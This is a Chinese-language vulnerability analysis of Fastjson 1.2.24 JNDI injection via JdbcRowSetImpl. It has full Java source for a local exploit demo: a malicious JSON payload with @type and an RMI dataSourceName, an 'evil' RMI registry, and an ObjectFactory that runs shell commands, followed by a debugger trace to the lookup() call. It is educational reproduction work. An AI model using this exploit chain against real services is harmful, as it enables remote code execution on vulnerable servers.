1. 漏洞原理

fastjson在进行反序列化的时候会自动调用目标类的getter、setter方法。而com.sun.rowset.JdbcRowSetImpl类在调用setAutoCommit方法时会调用其connect(),connect()会调用lookup()方法且参数可控,造成jndi注入

2. 源码分析

2.1 测试代码

JndiFastjsonDemo

package org.atoposx.fastjson1224_jndi;  
  
import com.alibaba.fastjson.JSON;  
  
import java.rmi.registry.Registry;  
  
import com.sun.rowset.JdbcRowSetImpl;  
  
/**  
 * Fastjson 1.2.24 JNDI 注入漏洞演示(JdbcRowSetImpl 利用链)。  
 *  
 * 漏洞原理:  
 * 1. fastjson 1.2.24 默认开启 AutoType,允许通过 @type 指定反序列化类型。  
 * 2. JdbcRowSetImpl 类的 setDataSourceName() 和 setAutoCommit() 方法会触发 JNDI lookup。  
 * 3. 攻击者构造 JSON payload 指定 @type 为 JdbcRowSetImpl,dataSourceName 指向恶意 RMI/LDAP 服务。  
 * 4. fastjson 反序列化时调用 setter 方法,触发 JNDI 查找并实例化远程/本地 ObjectFactory,执行任意代码。  
 *  
 * 本 demo 使用本地 ObjectFactory 方案(工厂类在 classpath 上),绕过高版本 JDK 的 trustURLCodebase 限制。  
 *  
 * 运行步骤:  
 * 1. 本类会自动启动 RMI 服务器(端口 1099)。  
 * 2. 构造恶意 JSON payload。  
 * 3. 调用 JSON.parse() 触发反序列化 → JNDI 注入 → 执行恶意代码(弹计算器)。  
 */  
public class JndiFastjsonDemo {  
  
    public static void main(String[] args) throws Exception {  
        System.out.println("=== Fastjson 1.2.24 JNDI 注入漏洞演示 ===\n");  
  
        // 步骤 1:启动本地 RMI 服务器  
        System.out.println("[1] 启动恶意 RMI 服务器...");  
        Registry registry = EvilRmiServer.start();  
        Thread.sleep(500); // 等待服务器完全就绪  
  
        // 步骤 2:构造恶意 JSON payload        System.out.println("\n[2] 构造恶意 JSON payload...");  
        String payload = "{"  
                + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","  
                + "\"dataSourceName\":\"rmi://127.0.0.1:1099/evil\","  
                + "\"autoCommit\":true"  
                + "}";  
        System.out.println("Payload: " + payload);  
  
        // 步骤 3:触发反序列化  
        System.out.println("\n[3] 调用 JSON.parse() 触发反序列化...");  
        try {  
            Object obj = JSON.parse(payload);  
            System.out.println("返回对象: " + obj);  
        } catch (Exception e) {  
            // JNDI 注入成功后可能抛异常(因为 ObjectFactory 返回 null),这是正常的  
            System.out.println("反序列化过程抛出异常(预期行为): " + e.getClass().getName());  
        }  
  
        System.out.println("\n=== 演示完成 ===");  
        System.out.println("如果看到 '[!] EvilObjectFactory.getObjectInstance 被调用' 和计算器弹出,");  
        System.out.println("说明 JNDI 注入成功,任意代码已执行。\n");  
  
        // 清理:注销 RMI 绑定(可选)  
        try {  
            registry.unbind(EvilRmiServer.BIND_NAME);  
        } catch (Exception ignored) {}  
    }  
}

EvilRmiServer

package org.atoposx.fastjson1224_jndi;  
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
  
import javax.naming.Reference;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
/**  
 * 本地恶意 RMI 服务器。  
 *  
 * 在本机 1099 端口启动 RMI Registry,并绑定一个名为 "evil" 的 Reference。  
 * Reference 的 factory 指向 {@link EvilObjectFactory},当 JNDI 客户端  
 * (这里是 JdbcRowSetImpl)执行 lookup("rmi://127.0.0.1:1099/evil") 时,  
 * 客户端会拿到该 Reference 并在本地 classpath 实例化 EvilObjectFactory,触发代码执行。  
 */  
public class EvilRmiServer {  
  
    public static final int PORT = 1099;  
    public static final String BIND_NAME = "evil";  
  
    /** 启动 RMI Registry 并完成绑定。返回 Registry 以便调用方持有引用、防止被 GC。 */  
    public static Registry start() throws Exception {  
        Registry registry = LocateRegistry.createRegistry(PORT);  
  
        // Reference(className, factory, factoryLocation)  
        // className 任意;factory 为本地 ObjectFactory 全限定名;factoryLocation 留空表示本地加载。  
        Reference reference = new Reference(  
                "EvilObject",  
                EvilObjectFactory.class.getName(),  
                null);  
  
        registry.bind(BIND_NAME, new ReferenceWrapper(reference));  
        System.out.println("[+] RMI Server 已启动: rmi://127.0.0.1:" + PORT + "/" + BIND_NAME);  
        return registry;  
    }  
  
    public static void main(String[] args) throws Exception {  
        start();  
        System.out.println("[+] 等待 JNDI 客户端连接... (Ctrl+C 退出)");  
        // 阻塞,保持服务存活  
        Thread.currentThread().join();  
    }  
}

EvilObjectFactory

package org.atoposx.fastjson1224_jndi;  
  
import javax.naming.Context;  
import javax.naming.Name;  
import javax.naming.spi.ObjectFactory;  
import java.util.Hashtable;  
  
/**  
 * 恶意 JNDI ObjectFactory。  
 *  
 * 当 fastjson 把 JSON 反序列化成 JdbcRowSetImpl 并触发其 setAutoCommit() 时,  
 * JdbcRowSetImpl 会用 dataSourceName 指定的地址执行 JNDI lookup。  
 * RMI 服务端返回的 Reference 把本类指定为 factory,JNDI 在客户端 classpath  
 * 上找到本类并调用 getObjectInstance(),从而执行任意代码。  
 *  
 * 说明:本类放在客户端 classpath 上,属于“本地工厂”利用方式。  
 * 因此即便在 JDK 8u191+/高版本 JDK(trustURLCodebase 默认 false、  
 * 禁止远程 codebase 加载)下也能成功触发,便于本地复现。  
 */  
public class EvilObjectFactory implements ObjectFactory {  
  
    @Override  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,  
                                    Hashtable<?, ?> environment) throws Exception {  
        System.out.println("[!] EvilObjectFactory.getObjectInstance 被调用 —— JNDI 注入成功!");  
        System.out.println("[!] 当前进程: " + System.getProperty("user.name")  
                + " @ " + System.getProperty("os.name"));  
  
        // 演示任意命令执行:弹计算器(macOS)。可按需替换为其它无害命令。  
        String os = System.getProperty("os.name").toLowerCase();  
        String[] cmd;  
        if (os.contains("mac")) {  
            cmd = new String[]{"open", "-a", "Calculator"};  
        } else if (os.contains("win")) {  
            cmd = new String[]{"cmd", "/c", "calc"};  
        } else {  
            cmd = new String[]{"/bin/sh", "-c", "id"};  
        }  
  
        Process p = Runtime.getRuntime().exec(cmd);  
        p.waitFor();  
        System.out.println("[!] 命令已执行: " + String.join(" ", cmd));  
        return null;  
    }  
}

2.2 Fastjson 1.2.24

调试的时候需要关掉“不要进入类”按钮,否则断点进不到jdk内部类 image.png

setter的自动调用分析参考FastJson基础分析,直接快进到调用的部分 这里调用不是通过setValue去进行invoke的反射调用,而是走到了第600行

步入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法

步入773行com.alibaba.fastjson.parser.deserializer.FieldDeserializer#parseField方法

可以发现在此处调用了setValue方法,跟进就是invoke反射调用setAutoCommit

跟进

步入com.sun.rowset.JdbcRowSetImpl#connect方法

第322行发现调用了lookup进行jndi查询,和jndi注入一致。JNDI注入部分参考JNDI注入原理分析 而传入的参数dataSourceName,也就是jndi请求的远程地址也可以通过setDataSourceName()传入 ,所以payload中需要setDataSourceName字段